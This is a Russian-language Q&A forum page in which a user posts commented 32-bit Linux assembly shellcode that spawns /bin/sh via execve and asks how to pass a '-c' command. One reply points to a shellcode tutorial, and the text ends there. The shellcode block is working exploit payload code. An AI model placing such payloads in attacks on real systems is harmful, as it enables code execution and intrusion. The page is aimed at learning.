Добавление аргументов в шеллкод порождения оболочки - PullRequest
Новая
       37

Добавление аргументов в шеллкод порождения оболочки

0 голосов
/ 13 декабря 2011

У меня есть базовый шелл-код: 

 BITS 32

jmp short       callit            ; jmp trick as explained above

doit:

pop             esi               ; esi now represents the location of our string
xor             eax, eax          ; make eax 0
mov byte        [esi + 7], al     ; terminate /bin/sh 
lea             ebx, [esi]        ; get the adress of /bin/sh and put it in register ebx 
mov long        [esi + 8], ebx    ; put the value of ebx (the address of /bin/sh) in AAAA ([esi +8]) 
mov long        [esi + 12], eax   ; put NULL in BBBB (remember xor eax, eax) 
mov byte        al, 0x0b          ; Execution time! we use syscall 0x0b which represents execve
mov             ebx, esi          ; argument one... ratatata /bin/sh
lea             ecx, [esi + 8]    ; argument two... ratatata our pointer to /bin/sh
lea             edx, [esi + 12]   ; argument three... ratataa our pointer to NULL
int             0x80

callit:
call            doit              ; part of the jmp trick to get the location of db

db              '/bin/sh#AAAABBBB'

Но допустим, я хочу добавить команду в качестве аргументов для оболочки. Так, например, чтобы создать новый файл, я бы сделал что-то вроде / bin / sh -c 'touch "filepath" Но я застрял на том, как я могу изменить свой шелл-код, чтобы сделать это.

Спасибо, Seba

1 Ответ

1 голос
/ 13 декабря 2011

Это происходит из учебника http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html вопрос, который вы задаете, объяснен в разделе The execve example number III (2 > arguments, linux):

...